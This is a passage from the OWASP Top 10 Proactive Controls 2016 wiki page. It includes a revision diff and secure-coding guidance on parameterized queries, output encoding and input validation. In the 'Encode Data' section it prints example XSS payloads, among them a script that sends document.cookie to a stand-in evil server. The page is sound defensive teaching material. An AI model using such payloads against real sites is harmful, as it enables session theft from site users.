2) '''Business Logic Abuse Cases'''Business logic features include multi-step multi-branch workflows that are difficult to evaluate thoroughly and involve money or valuable items, user credentials, private information or command/control functions, for example eCommerce workflows, shipping route choices, or banking transfer validation. The user stories or use cases for these requirements should include exceptions and failure scenarios (what happens if a step fails or times out or if the user tries to cancel or repeat a step?) and requirements derived from "abuse cases".  Abuse cases describe how the application's functions could be subverted by attackers. Walking through failures and abuse case scenarios will uncover weaknesses in validation and error handling that impact the reliability and security of the application.
+
| width="“50%”" style="border: 1.00pt solid #000001; padding: 0.18cm" |
 +
<font size="2" style="font-size: 9pt">
 +
* [[Top_10_2013-A1-Injection | A1-Injection]]
 +
* [[Top_10_2013-A2-Broken_Authentication_and_Session_Management | A2-Broken Authentication and Session Management]]
 +
* [[Top_10_2013-A3-Cross-Site_Scripting_(XSS) | A3-Cross Site Scripting (XSS)]]
 +
* [[Top_10_2013-A4-Insecure_Direct_Object_References | A4-Insecure Direct Object References]]
 +
* [[Top_10_2013-A5-Security_Misconfiguration | A5-Security Misconfiguration]]
 +
* [[Top_10_2013-A6-Sensitive_Data_Exposure | A6-Sensitive Data Exposure]]
 +
* [[Top_10_2013-A7-Missing_Function_Level_Access_Control | A7-Missing Function Level Access Control]]
 +
* [[Top_10_2013-A8-Cross-Site_Request_Forgery_(CSRF) | A8-Cross-Site Request Forgery (CSRF)]]
 +
* [[Top_10_2013-A9-Using_Components_with_Known_Vulnerabilities | A9-Using Components with Known Vulnerabilities]]
 +
* [[Top_10_2013-A10-Unvalidated_Redirects_and_Forwards | A10-Unvalidated Redirects and Forwards]]
 +
</font>
  
3) '''Data Classification and Privacy Requirements''': developers must always be aware of any personal or confidential information in the system and make sure that this data is protected. What is the source of the data? Can the source be trusted? Where is the data stored or displayed? Does it have to be stored or displayed? Who is authorized to create it, see it, change it, and is all of this tracked? This will drive the need for data validation, access control, encryption, and auditing and logging controls in the system.
+
|- valign="top"
 +
| width="“50%”" style="border: 1.00pt solid #000001; padding: 0.18cm" |
 +
'''C2: Parameterize Queries'''
  
'''Key References'''
+
<font size="2" style="font-size: 9pt">
* [[OWASP Application Security Verification Standard Project]]
+
The Parameterized queries are a way to leverage to Data Access Abstraction Layer how parameters are interpreted before executing an SQL query. It provides SQL injection protection.
* [https://www.owasp.org/index.php/Category:Software_Assurance_Maturity_Model Software Assurance Maturity Model]
+
</font>
  
 +
| width="“50%”" style="border: 1.00pt solid #000001; padding: 0.18cm" |
 +
<font size="2" style="font-size: 9pt">
 +
* [[Top_10_2013-A1-Injection | A1-Injection]]
 +
</font>
  
== 10: Design and Architect Security In ==
+
|- valign="top"
 +
| width="“50%”" style="border: 1.00pt solid #000001; padding: 0.18cm" |
 +
'''C3: Encode Data'''
  
There are several areas where you need to be concerned about security in the architecture and design of a system. These include:
+
<font size="2" style="font-size: 9pt">
 +
Encode data before use in a parser  ( JS, CSS , XML )
 +
</font>
  
1) '''Know your Tools''': Your choice of language(s) and platform (O/S, web server, messaging, database or NOSQL data manager) will result in technology-specific security risks and considerations that the development team must understand and manage.
+
| width="“50%”" style="border: 1.00pt solid #000001; padding: 0.18cm" |
 +
<font size="2" style="font-size: 9pt">
 +
* [[Top_10_2013-A1-Injection | A1-Injection]]
 +
* [[Top_10_2013-A3-Cross-Site_Scripting_(XSS) | A3-Cross Site Scripting (XSS) (in part)]]
 +
</font>
  
2) '''Tiering, Trust and Dependencies''': Another important part of secure architecture and design is tiering and trust. Deciding what controls to enforce at the client, the web layer, the business logic layer, the data management layer, and where to establish trust between different systems or different parts of the same system. Trust boundaries determine where to make decisions about authentication, access control, data validation and encoding, encryption and logging. Data, sources of data and services inside a trust boundary can be trusted - anything outside of a trust boundary cannot be. When designing or changing the design or a system, make sure to understand assumptions about trust, make sure that these assumptions are valid, and make sure that they are followed consistently.
+
|- valign="top"
 +
| width="“50%”" style="border: 1.00pt solid #000001; padding: 0.18cm" |
 +
'''C4: Validate All Inputs'''
  
3) '''Manage the Attack Surface''': Be aware of the system's Attack Surface, the ways that attackers can get in, or get data out, of the system. Recognize when you are increasing the Attack Surface, and use this to drive risk assessments (should you do threat modeling or plan for additional testing). Are you introducing a new API or changing a high-risk security function of the system, or are you simply adding a new field to an existing page or file?
+
<font size="2" style="font-size: 9pt">
 +
Consider all input from outside of the application as untrusted. For web applications this includes HTTP headers, cookies, and GET and POST parameters: any or all of this data could be manipulated by an attacker.  
 +
</font>
  
'''Key References'''
+
| width="“50%”" style="border: 1.00pt solid #000001; padding: 0.18cm" |
* [https://www.owasp.org/index.php/Category:Software_Assurance_Maturity_Model Software Assurance Maturity Model (OpenSAMM)]
+
<font size="2" style="font-size: 9pt”">
* [https://www.owasp.org/index.php/Category:OWASP_Application_Security_Verification_Standard_Project Application Security Verification Standard Project]
+
* [[Top_10_2013-A1-Injection | A1-Injection]]  (in part)
* [https://www.owasp.org/index.php/Application_Security_Architecture_Cheat_Sheet Application Security Architecture Cheat Sheet]
+
* [[Top_10_2013-A3-Cross-Site_Scripting_(XSS) | A3-Cross Site Scripting (XSS)]]  (in part)
* [[Attack Surface Analysis Cheat Sheet]]
+
* [[Top_10_2013-A10-Unvalidated_Redirects_and_Forwards | A10-Unvalidated Redirects and Forwards]]
* [[Threat Modeling Cheat Sheet]]
+
</font>
 +
 
 +
|- valign="top"
 +
| width="“50%”" style="border: 1.00pt solid #000001; padding: 0.18cm" |
 +
'''C5: Identity and Authentication Controls '''
 +
 
 +
<font size="2" style="font-size: 9pt”">
 +
Authentication is the process of verifying that an individual or an entity is who it claims to be while identity management is a broader topic which not only includes authentication, session management, but also covers advanced topics like identity federation, single sign on, password-management tools, identity repositories and more
 +
</font>
 +
 
 +
| width="“50%”" style="border: 1.00pt solid #000001; padding: 0.18cm" |
 +
 
 +
<font size="2" style="font-size: 9pt">
 +
* [[Top_10_2013-A2-Broken_Authentication_and_Session_Management | A2-Broken Authentication and Session Management]]
 +
</font>
 +
 
 +
|- valign="top"
 +
| width="“50%”" style="border: 1.00pt solid #000001; padding: 0.18cm" |
 +
'''C6: Implement Access Controls'''
 +
 
 +
<font size="2" style="“font-size:9pt&quot;">
 +
Authorization (Access Control) is the process where requests to access a particular feature or resource should be granted or denied.
 +
The following "positive" access control design requirements should be considered at the initial stages of application development:
 +
* Force all requests to go through access control checks
 +
* Deny by default
 +
* Avoid hard-coded policy-based access control checks in code
 +
* Check on the server when each function is accessed
 +
</font>
 +
 
 +
| width="“50%”" style="border: 1.00pt solid #000001; padding: 0.18cm" |
 +
<font size="2" style="font-size: 9pt”">
 +
* [[Top_10_2013-A4-Insecure_Direct_Object_References | A4-Insecure Direct Object References]]
 +
* [[Top_10_2013-A7-Missing_Function_Level_Access_Control | A7-Missing Function Level Access Control]]
 +
</font>
 +
 
 +
|- valign="top"
 +
| width="“50%”" style="border: 1.00pt solid #000001; padding: 0.18cm" |
 +
'''C7: Protect Data'''
 +
 
 +
<font size="2" style="font-size: 9pt">
 +
Data encryption at rest or transit
 +
</font>
 +
 
 +
| width="“50%”" style="border: 1.00pt solid #000001; padding: 0.18cm" |
 +
<font size="2" style="font-size: 9pt”">
 +
* [[Top_10_2013-A6-Sensitive_Data_Exposure | A6-Sensitive Data Exposure]]
 +
</font>
 +
 
 +
|- valign="top"
 +
| width="“50%”" style="border: 1.00pt solid #000001; padding: 0.18cm" | '''C8: Implement Logging and Intrusion Detection'''
 +
 
 +
| width="“50%”" style="border: 1.00pt solid #000001; padding: 0.18cm" |
 +
<font size="2" style="font-size: 9pt">
 +
* [[Top_10_2013-A1-Injection | A1-Injection]]
 +
* [[Top_10_2013-A2-Broken_Authentication_and_Session_Management | A2-Broken Authentication and Session Management]]
 +
* [[Top_10_2013-A3-Cross-Site_Scripting_(XSS) | A3-Cross Site Scripting (XSS)]]
 +
* [[Top_10_2013-A4-Insecure_Direct_Object_References | A4-Insecure Direct Object References]]
 +
* [[Top_10_2013-A5-Security_Misconfiguration | A5-Security Misconfiguration]]
 +
* [[Top_10_2013-A6-Sensitive_Data_Exposure | A6-Sensitive Data Exposure]]
 +
* [[Top_10_2013-A7-Missing_Function_Level_Access_Control | A7-Missing Function Level Access Control]]
 +
* [[Top_10_2013-A8-Cross-Site_Request_Forgery_(CSRF) | A8-Cross-Site Request Forgery (CSRF)]]
 +
* [[Top_10_2013-A9-Using_Components_with_Known_Vulnerabilities | A9-Using Components with Known Vulnerabilities]]
 +
* [[Top_10_2013-A10-Unvalidated_Redirects_and_Forwards | A10-Unvalidated Redirects and Forwards]]
 +
</font>
 +
 
 +
|- valign="top"
 +
| width="“50%”bgcolor=&quot;#ffffff&quot;" style="border: 1.00pt solid #000001; padding: 0.18cm" |
 +
'''C9: Leverage Security Features and Libraries'''
 +
 
 +
<font size="2" style="font-size: 9pt">Starting from scratch when it comes to developing security controls leads to wasted time and massive security holes.  Secure coding libraries help developers guard against security-related design and implementation flaws.
 +
It is critical to keep these frameworks and libraries up to date.
 +
 
 +
For example:
 +
* Choose a good database ORM
 +
* Choose a framework with already build-in good access control
 +
* Choose a framework that already has integrated CSRF
 +
</font>
 +
 
 +
| width="“50%”" style="border: 1.00pt solid #000001; padding: 0.18cm" | '''Prevents:'''
 +
<font size="2" style="font-size: 9pt">
 +
* [[Top_10_2013-A1-Injection | A1-Injection]]
 +
* [[Top_10_2013-A2-Broken_Authentication_and_Session_Management | A2-Broken Authentication and Session Management]]
 +
* [[Top_10_2013-A3-Cross-Site_Scripting_(XSS) | A3-Cross Site Scripting (XSS)]]
 +
* [[Top_10_2013-A4-Insecure_Direct_Object_References | A4-Insecure Direct Object References]]
 +
* [[Top_10_2013-A5-Security_Misconfiguration | A5-Security Misconfiguration]]
 +
* [[Top_10_2013-A6-Sensitive_Data_Exposure | A6-Sensitive Data Exposure]]
 +
* [[Top_10_2013-A7-Missing_Function_Level_Access_Control | A7-Missing Function Level Access Control]]
 +
* [[Top_10_2013-A8-Cross-Site_Request_Forgery_(CSRF) | A8-Cross-Site Request Forgery (CSRF)]]
 +
* [[Top_10_2013-A9-Using_Components_with_Known_Vulnerabilities | A9-Using Components with Known Vulnerabilities]]
 +
* [[Top_10_2013-A10-Unvalidated_Redirects_and_Forwards | A10-Unvalidated Redirects and Forwards]]
 +
</font>
 +
 
 +
|- valign="top"
 +
| width="“50%”" style="border: 1.00pt solid #000001; padding: 0.18cm" |
 +
'''C10: Error and Exception Handling'''
 +
 
 +
<font size="2" style="font-size: 9pt"></font>
 +
 
 +
| width="“50%”" style="border: 1.00pt solid #000001; padding: 0.18cm" | '''Prevents:''' 
 +
<font size="2" style="font-size: 9pt">
 +
* [[Top_10_2013-A1-Injection | A1-Injection]]
 +
* [[Top_10_2013-A2-Broken_Authentication_and_Session_Management | A2-Broken Authentication and Session Management]]
 +
* [[Top_10_2013-A3-Cross-Site_Scripting_(XSS) | A3-Cross Site Scripting (XSS)]]
 +
* [[Top_10_2013-A4-Insecure_Direct_Object_References | A4-Insecure Direct Object References]]
 +
* [[Top_10_2013-A5-Security_Misconfiguration | A5-Security Misconfiguration]]
 +
* [[Top_10_2013-A6-Sensitive_Data_Exposure | A6-Sensitive Data Exposure]]
 +
* [[Top_10_2013-A7-Missing_Function_Level_Access_Control | A7-Missing Function Level Access Control]]
 +
* [[Top_10_2013-A8-Cross-Site_Request_Forgery_(CSRF) | A8-Cross-Site Request Forgery (CSRF)]]
 +
* [[Top_10_2013-A9-Using_Components_with_Known_Vulnerabilities | A9-Using Components with Known Vulnerabilities]]
 +
* [[Top_10_2013-A10-Unvalidated_Redirects_and_Forwards | A10-Unvalidated Redirects and Forwards]]
 +
</font>
 +
 
 +
|}
 +
 
 +
[[Image:OWASP-Top-10-Mapping-2016-600.png]]
 +
 
 +
= News =
 +
* [12 May 2017] Presented at [https://appseceurope2017.sched.com/event/A652/the-path-of-secure-software AppSec EU'17 - Belfast]
 +
* [14 Feb 2017] Featured in [http://wwpi.com/2017/02/14/managing-cloud-infrastructure-to-prevent-security-gaps/ Managing Cloud Infrastructure to Prevent Security Gaps]
 +
* [Feb 2017 ] Featured in "[http://assets.unisys.com/Documents/Global/POVPapers/POV_170062_ApplicationSecurityProgramProtectAgainstDataBreaches.pdf Application Security Program: Protect Against Data Breaches]"
 +
* [ 1 Oct 2016] Presented at [http://conference.phpnw.org.uk/phpnw16/speakers/katy-anton/ PHPNW16]
 +
* [5 July 2016] Featured in [https://www.thoughtworks.com/insights/blog/incorporating-security-best-practices-agile-teams Incorporating Security Best Practices into Agile Teams]
 +
* [June 2016 ] Featured in [http://www.booz-allen.co.in/content/dam/boozallen/documents/Viewpoints/2016/06/transformative-approach-to-secure-systems-delivery.pdf A Transformative Approach to Secure Systems Delivery]
 +
* [2 June 2016] Featured in [http://www.oreilly.com/webops-perf/free/devopssec.csp DevOpsSec - Securing Software through Continuous Delivery]
 +
* [30 Apr 2016] Added Hebrew Translation for 2016 version
 +
* [28 Apr 2016] Added Chinese Translations for 2016 version
 +
* [12 Apr 2016] Added Hebrew translation for 2016 version
 +
* [29 Feb 2016] Added [https://www.owasp.org/images/a/a8/OWASPTop10ProactiveControls2016-Japanese.pdf Japanese Translation]
 +
* [14 Jan 2016] 2.0 released!
 +
* [5 Dec 2015] Began final edit process for 2.0
 +
* [29 Mar 2015] Added Hebrew Translation
 +
* [27 Jan 2015] Added Top Ten Mapping
 +
* [31 Oct 2014] Project presentation uploaded
 +
* [10 Mar 2014] [http://lists.owasp.org/pipermail/owasp-leaders/2014-March/011047.html Request for review]
 +
* [04 Feb 2014] New Wiki Template!
  
 
= Formal Numbering =
 
= Formal Numbering =
  
* OWASP-C1: Parameterize Queries
+
== 2016 Numbering ==
* OWASP-C2: Encode Data
+
* OWASP-2016-C1: Verify for Security Early and Often
* OWASP-C3: Validate All Inputs
+
* OWASP-2016-C2: Parameterize Queries
* OWASP-C4: Implement Appropriate Access Controls
+
* OWASP-2016-C3: Encode Data
* OWASP-C5: Establish Identity and Authentication Controls
+
* OWASP-2016-C4: Validate All Inputs  
* OWASP-C6: Protect Data and Privacy
+
* OWASP-2016-C5: Implement Identity and Authentication Controls
* OWASP-C7: Implement Logging, Error Handling and Intrusion Detection
+
* OWASP-2016-C6: Implement Appropriate Access Controls
* OWASP-C8: Leverage Security Features of Frameworks and Security Libraries
+
* OWASP-2016-C7: Protect Data
* OWASP-C9: Include Security-Specific Requirements
+
* OWASP-2016-C8: Implement Logging and Intrusion Detection
* OWASP-C10: Design and Architect Security In
+
* OWASP-2016-C9: Leverage Security Frameworks and Libraries
 +
* OWASP-2016-C10: Error and Exception Handling
  
= Project Roadmap =
+
== 2014 Numbering ==
 +
* OWASP-2014-C1: Parameterize Queries
 +
* OWASP-2014-C2: Encode Data
 +
* OWASP-2014-C3: Validate All Inputs
 +
* OWASP-2014-C4: Implement Appropriate Access Controls
 +
* OWASP-2014-C5: Establish Identity and Authentication Controls
 +
* OWASP-2014-C6: Protect Data and Privacy
 +
* OWASP-2014-C7: Implement Logging, Error Handling and Intrusion Detection
 +
* OWASP-2014-C8: Leverage Security Features of Frameworks and Security Libraries
 +
* OWASP-2014-C9: Include Security-Specific Requirements
 +
* OWASP-2014-C10: Design and Architect Security In
 +
 
 +
= Translations =
 +
 
 +
* Top 10 Proactive Controls 2016 Traditional Chinese Translation [[Media:OWASPTop10ProactiveControls2016-Chinese.pdf|PDF Download]]
 +
* Top 10 Proactive Controls 2016 Simplified Chinese Translation [[Media:OWASPTop10ProactiveControls2016-SimplifiedChinese.pdf|PDF Download]]
 +
* Top 10 Proactive Controls 2016 Japanese Translation [[Media:OWASPTop10ProactiveControls2016-Japanese.pdf|PDF Download]]
 +
* Top 10 Proactive Controls 2016 Hebrew Translation [[Media:OWASP_Proactive_Controls_2-Hebrew.pdf|PDF Download]]
 +
* Hebrew and French translations of the Top 10 Proactive Controls 2014 can be found on the 2014 archive tab.
 +
 
 +
= Roadmap =
  
 
Welcome to the OWASP Top 10 Proactive Controls Project!  
 
Welcome to the OWASP Top 10 Proactive Controls Project!  
  
== Roadmap ==
+
== 2016 Roadmap ==
  
End of April : Complete community review process<br/>
+
* Create new PowerPoint and other artifacts for 2016 version (done)
End of May : Release final document in well designed PDF form
+
* Proactive Control Mapping to Cheatsheet (in progress)
  
 
== Status ==
 
== Status ==
  
March 10, 2014: We released an early beta of this document to the OWASP leaders list for review and commentary.<br/>
+
* February 21, 2014 Moved 2014 info to archive tab
February 3, 2014: We are currently working towards a beta release of this document and have begun working with a designer for the final release PDF.
+
* January 15, 2016: 2016 Proactive Controls Released!
 +
* August 6, 2015: Kickoff for 2.0 effort, in progress
 +
* March 10, 2014: We released an early beta of this document to the OWASP leaders list for review and commentary.<br />
 +
* February 3, 2014: We are currently working towards a beta release of this document and have begun working with a designer for the final release PDF.
 +
 
 +
 
  
__NOTOC__ <headertabs />
+
__NOTOC__ <headertabs></headertabs>
  
[[Category:OWASP_Project|OWASP Proactive Controls]] [[Category:OWASP_Builders]] [[Category:OWASP_Defenders]] [[Category:OWASP_Document]]
+
[[Category:OWASP Project|OWASP Proactive Controls]]  
 +
[[Category:OWASP_Builders]]  
 +
[[Category:OWASP_Defenders]]  
 +
[[Category:OWASP_Document]]

Latest revision as of 12:21, 22 May 2017

Proactive-header.jpg

OWASP Top 10 Proactive Controls 2016

Software developers are the foundation of any application. In order to achieve secure software, developers must be supported and helped by the organization they author code for. As software developers author the code that makes up a web application, they need to embrace and practice a wide variety of secure coding techniques. All tiers of a web application, the user interface, the business logic, the controller, the database code and more – all need to be developed with security in mind. This can be a very difficult task and developers are often set up for failure. Most developers did not learn about secure coding or crypto in school. The languages and frameworks that developers use to build web applications are often lacking critical core controls or are insecure by default in some way. It is also very rare when organizations provide developers with prescriptive requirements that guide them down the path of secure software. And even when they do, there may be security flaws inherent in the requirements and designs. When it comes to software, developers are often set up to lose the security game.

The OWASP Top Ten Proactive Controls 2016 is a list of security techniques that should be included in every software development project. They are ordered by order of importance, with control number 1 being the most important. This document was written by developers for developers to assist those new to secure development.

  1. Verify for Security Early and Often
  2. Parameterize Queries
  3. Encode Data
  4. Validate All Inputs
  5. Implement Identity and Authentication Controls
  6. Implement Appropriate Access Controls
  7. Protect Data
  8. Implement Logging and Intrusion Detection
  9. Leverage Security Frameworks and Libraries
  10. Error and Exception Handling

For more information, see the complete document in the tab to the right.

Licensing

The OWASP Proactive Controls document is free to use under the Creative Commons ShareAlike 3 License.

What is This?

The OWASP Top Ten Proactive Controls describes the most important control and control categories that every architect and developer should absolutely, 100% include in every project.

Presentation

Use the extensive project presentation that expands on the information in the document.

Project Leaders

Key Contributors

  • Danny Harris @
  • Hiroaki Kuramochi (Japanese Translation)
  • Hiroshi Fujimoto (Japanese Translation)
  • Hidenori Nagai (Japanese Translation)
  • Riotaro OKADA @ (Japanese Translation)
  • Robert Dracea (Japanese Translation)
  • Koichiro Watanabe (Japanese Translation)
  • Tony Hsu Hsiang Chih (Chinese Translation)
  • Abdessamad Temmar
  • Eyal Estrin @ (Hebrew Translation)
  • Cyrille Grandval @ (French Translation)
  • Frédéric Baillon @ (French Translation)
  • Danny Harris @
  • Stephen de Vries
  • Andrew Van Der Stock
  • Gaz Heyes
  • Colin Watson
  • Jason Coleman
  • Cassio Goldschmidt

Related Projects

Quick Access

Translations

  • Top 10 Proactive Controls 2016 Traditional Chinese Translation PDF Download
  • Top 10 Proactive Controls 2016 Simplified Chinese Translation PDF Download
  • Top 10 Proactive Controls 2016 Japanese Translation PDF Download
  • Top 10 Proactive Controls 2016 Hebrew Translation PDF Download

Latest News and Events

Please see the News tab for more.

Archive

Proactive Controls 2014

Mailing List

Keep up-to-date, participate or ask questions via the Project Email List.

Classifications

Owasp-incubator-trans-85.png Owasp-builders-small.png
Owasp-defenders-small.png
Cc-button-y-sa-small.png
Project Type Files DOC.jpg

The OWASP Top Ten Proactive Controls 2016 is a list of security concepts that should be included in every software development project. They are ordered by order of importance, with control number 1 being the most important.

  1. Verify for Security Early and Often
  2. Parameterize Queries
  3. Encode Data
  4. Validate All Inputs
  5. Implement Identity and Authentication Controls
  6. Implement Appropriate Access Controls
  7. Protect Data
  8. Implement Logging and Intrusion Detection
  9. Leverage Security Frameworks and Libraries
  10. Error and Exception Handling


1: Verify for Security Early and Often

Control Description

In many organizations security testing is done outside of development testing loops, following a “scan-then-fix” approach. The security team runs a scanning tool or conducts a pen test, triages the results, and then presents the development team a list of vulnerabilities to be fixed. This is often referred to as "the hamster wheel of pain". There is a better way.

Security testing needs to be an integral part of a developer’s software engineering practice. Just as you can’t “test quality in”, you can’t “test security in” by doing security testing at the end of a project. You need to verify security early and often, whether through manual testing or automated tests and scans.

Include security while writing testing stories and tasks. Include the Proactive Controls in stubs and drivers. Security testing stories should be defined such that the lowest child story can be implemented and accepted in a single iteration; testing a Proactive Control must be lightweight. Consider OWASP ASVS as a guide to define security requirements and testing. Consider maintaining a sound story template, “As a <user type> I want <function> so that <benefit>.” Consider data protections early. Include security up front when the definition of done is defined.

Stretching fixes out over multiple sprints can be avoided if the security team makes the effort to convert scanning output into reusable Proactive Controls to avoid entire classes of problems. Otherwise, approach the output of security scans as an epoch, addressing the results over more than one sprint. Have spikes to do research and convert findings into defects, write the defects in Proactive Control terms, and have Q&A sessions with the security team ensuring testing tasks actually verify the Proactive Control fixed the defect.

Take advantage of agile practices like Test Driven Development, Continuous Integration and “relentless testing”. These practices make developers responsible for testing their own work, through fast, automated feedback loops.

Vulnerabilities Prevented

References

Tools

Training



2: Parameterize Queries

Control Description

SQL Injection is one of the most dangerous web application risks. SQL Injection is easy to exploit with many open source automated attack tools available. SQL injection can also deliver an impact to your application that is devastating.

The simple insertion of malicious SQL code into your web application – and the entire database could potentially be stolen, wiped, or modified. The web application can even be used to run dangerous operating system commands against the operating system hosting your database. The main concern with SQL injection is the fact, that the SQL query and its parameters are contained in one query string.

In order to mitigate SQL injection, untrusted input should be prevented from being interpreted as part of a SQL command. The best way to do this is with the programming technique known as ‘Query Parameterization’. In this case, the SQL statements are sent to and parsed by the database server separately from any parameters.

Many development frameworks (Rails, Django, Node.js, etc.) employ an object-relational model (ORM) to abstract communication with a database. Many ORMs provide automatic query parameterization when using programmatic methods to retrieve and modify data, but developers should still be cautious when allowing user input into object queries (OQL/HQL) or other advanced queries supported by the framework.

Proper defense in depth against SQL injection includes the use of technologies such as automated static analysis and proper database management system configuration. If possible, database engines should be configured to only support parameterized queries.

Java Examples

Here is an example of query parameterization in Java:

String newName = request.getParameter("newName");
int id = Integer.parseInt(request.getParameter("id"));
PreparedStatement pstmt = con.prepareStatement("UPDATE EMPLOYEES SET NAME = ? WHERE ID = ?"); 
pstmt.setString(1, newName);
pstmt.setInt(2, id);

PHP Examples

Here is an example of query parameterization in PHP using PDO:

$stmt = $dbh->prepare(”update users set email=:new_email where id=:user_id”);
$stmt->bindParam(':new_email', $email);
$stmt->bindParam(':user_id', $id);

Python Examples

Here is an example of query parameterization in Python:

email  = REQUEST[‘email’]
id = REQUEST[‘id’]
cur.execute("update users set email=:new_email where id=:user_id", {"new_email": email, "user_id": id})

.NET Examples

Here is an example of Query Parameterization in C#.NET:

string sql = "SELECT * FROM Customers WHERE CustomerId = @CustomerId";
SqlCommand command = new SqlCommand(sql);
command.Parameters.Add(new SqlParameter("@CustomerId", System.Data.SqlDbType.Int));
command.Parameters["@CustomerId"].Value = 1;

Risks Addressed

References



3: Encode Data

Control Description

Encoding is a powerful mechanism to help protect against many types of attack, especially injection attacks. Essentially, encoding involves translating special characters into some equivalent form that is no longer dangerous in the target interpreter. Encoding is needed to stop various forms of injection including command injection (Unix command encoding, Windows command encoding), LDAP injection (LDAP encoding) and XML injection (XML encoding). Another example of encoding is output encoding which is necessary to prevent cross site scripting (HTML entity encoding, JavaScript hex encoding, etc).

Web Development

Web developers often build web pages dynamically, consisting of a mix of static, developer built HTML/JavaScript and data that was originally populated with user input or some other untrusted source. This input should be considered to be untrusted data and dangerous, which requires special handling when building a secure web application. Cross-Site Scripting (XSS) occurs when an attacker tricks your users into executing malicious script that was not originally built into your website. XSS attacks execute in the user's browser and can have a wide variety of effects.

Examples

XSS site defacement:

<script>document.body.innerHTML("Jim was here");</script>

XSS session theft:

<script>
var img = new Image();
img.src="hxxp://<some evil server>.com?" + document.cookie;
</script>

Types of XSS

There are three main classes of XSS:

  • Persistent
  • Reflected
  • DOM based

Persistent XSS (or Stored XSS) occurs when an XSS attack can be embedded in a website database or filesystem. This flavor of XSS is more dangerous because users will typically already be logged into the site when the attack is executed, and a single injection attack can affect many different users.

Reflected XSS occurs when the attacker places an XSS payload as part of a URL and tricks a victim into visiting that URL. When a victim visits this URL, the XSS attack is launched. This type of XSS is less dangerous since it requires a degree of interaction between the attacker and the victim.

DOM based XSS is an XSS attack that occurs in DOM, rather than in HTML code. That is, the page itself does not change, but the client side code contained in the page executes differently due to the malicious modifications that have occurred in the DOM environment. It can only be observed on runtime or by investigating the DOM of the page.

For example, the source code of page hxxp://www.example.com/test.html contains the following code:

<script>document.write("Current URL : " + document.baseURI);</script>

A DOM Based XSS attack against this page can be accomplished by sending the following URL: hxxp://www.example.com/test.html#<script>alert(1)</script> When looking at the source of the page, you cannot see <script>alert(1)</script> because it’s all happening in the DOM and is done by the executed JavaScript code.

Contextual output encoding is a crucial programming technique needed to stop XSS. This is performed on output, when you’re building a user interface, at the last moment before untrusted data is dynamically added to HTML. The type of encoding required will depend on the HTML context of where the untrusted data is added, for example in an attribute value, or in the main HTML body, or even in a JavaScript code block.

The encoding functions required to stop XSS include HTML Entity Encoding, JavaScript Encoding and Percent Encoding (aka URL Encoding). OWASP's Java Encoder Project provides encoders for these functions in Java. In .NET 4.5, the AntiXssEncoder Class provides CSS, HTML, URL, JavaScriptString and XML encoders - other encoders for LDAP and VBScript are included in the open source AntiXSS library. Every other web language has some kind of encoding library or support.

Mobile Development

In mobile application, the Web View enables android/iOS application to render HTML/JavaScript content, and uses the same core frameworks as native browsers (Safari and Chrome). In like manner as a Web application, XSS can occur in an iOS/Android application when HTML/Javascript content is loaded into a Web View without sanitization/encoding. Consequently, a web view can be used by a malicious third party application to perform client-side injection attacks (example: taking a photo, accessing geolocation and sending SMS/E-Mails). This could lead to personal information leakage and financial damage.

Some best practices to protect a mobile app from Cross-Site Scripting attacks depending on the context of using Web View :

Manipulating user-generated content: ensure that data is filtered and/or encoded when presenting it in the Web View.

Loading content from an external source: apps that need to display untrusted content inside a Web View should use a dedicated server/host to render and escape HTML/Javascript content in a safe way. This prevents access to local system contents by malicious Javascript code.

Java Examples

For examples of the OWASP Java Encoder protecting against Cross-site scripting, see: OWASP Java Encoder Project.

PHP Examples

Zend Framework 2

In Zend framework 2, Zend\Escaper can be used for escaping data that is to be output. Example of php code in ZF2:

 <?php
 $input = '<script>alert("zf2")</script>';
 $escaper = new Zend\Escaper\Escaper('utf-8');

 // somewhere in an HTML template
 <div class="user-provided-input">
 <?php echo $escaper->escapeHtml($input);?>
 </div>

Vulnerabilities Prevented

References

Tools



4: Validate All Inputs

Control Description

Any data which is directly entered by, or influenced by, users should be treated as untrusted. An application should check that this data is both syntactically and semantically valid (in that order) before using it in any way (including displaying it back to the user). Additionally, the most secure applications treat all variables as untrusted and provide security controls regardless of the source of that data.

Syntax validity means that the data is in the form that is expected. For example, an application may allow a user to select a four-digit “account ID” to perform some kind of operation. The application should assume the user is entering a SQL injection payload, and should check that the data entered by the user is exactly four digits in length, and consists only of numbers (in addition to utilizing proper query parameterization).

Semantic validity means that the data is meaningful: In the above example, the application should assume that the user is maliciously entering an account ID the user is not permitted to access. The application should then check that the user has permission to access said account ID.

Input validation must be wholly server-side: client-side controls may be used for convenience. For example, JavaScript validation may alert the user that a particular field must consist of numbers, but the server must validate that the field actually does consist of numbers.

Background

A large majority of web application vulnerabilities arise from failing to correctly validate input, or not completely validating input. This “input” is not necessarily directly entered by users using a UI. In the context of web applications (and web services), this could include, but is not limited to:

  • HTTP headers
  • Cookies
  • GET and POST parameters (including hidden fields)
  • File uploads (including information such as the file name)

Similarly, in mobile applications, this can include:

  • Inter-process communication (IPC - for example, Android Intents)
  • Data retrieved from back-end web services
  • Data retrieved from the device file system

There are two general approaches to performing input syntax validation, commonly known as black-listing and whitelisting:

Blacklisting attempts to check that a given user input does not contain “known to be malicious” content. This is similar to how an anti-virus program will operate: as a first line of defence, an anti-virus checks if a file exactly matches known malicious content, and if it does, it will reject it. This tends to be the weaker security strategy.

Whitelisting attempts to check that a given user input matches a set of “known good” inputs. For example, a web application may allow you to select one of three cities - the application will then check that one of these cities has been selected, and rejects all other possible input. Character-based whitelisting is a form of whitelisting where an application will check that user input contains only “known good” characters, or matches a known format. For example, this may involve checking that a username contains only alphanumeric characters, and contains exactly two numbers.

When building secure software, whitelisting is the generally preferred approach. Blacklisting is prone to error and can be bypassed with various evasion techniques (and needs to be updated with new “signatures” when new attacks are created).

Regular Expressions

Regular expressions offer a way to check whether data matches a specific pattern - this is a great way to implement whitelist validation.

When a user first registers for an account on a hypothetical web application, some of the first pieces of data required are a username, password and email address. If this input came from a malicious user, the input could contain attack strings. By validating the user input to ensure that each piece of data contains only the valid set of characters and meets the expectations for data length, we can make attacking this web application more difficult.

Let’s start with the following regular expression for the username.

^[a-z0-9_]{3,16}$

This regular expression, input validation, whitelist of good characters only allows lowercase letters, numbers and the underscore character. The size of the username is also being limited to 3-16 characters in this example.

Here is an example regular expression for the password field.

^(?=.*[a-z])(?=.*[A-Z]) (?=.*\d) (?=.*[@#$%]).{10,4000}$

This regular expression ensures that a password is 10 to 4000 characters in length and includes a uppercase letter, a lowercase letter, a number and a special character (one or more uses of @, #, $, or %).

Here is an example regular expression for an email address (per the HTML5 specification http://www.w3.org/TR/html5/forms.html#valid-e-mail-address).

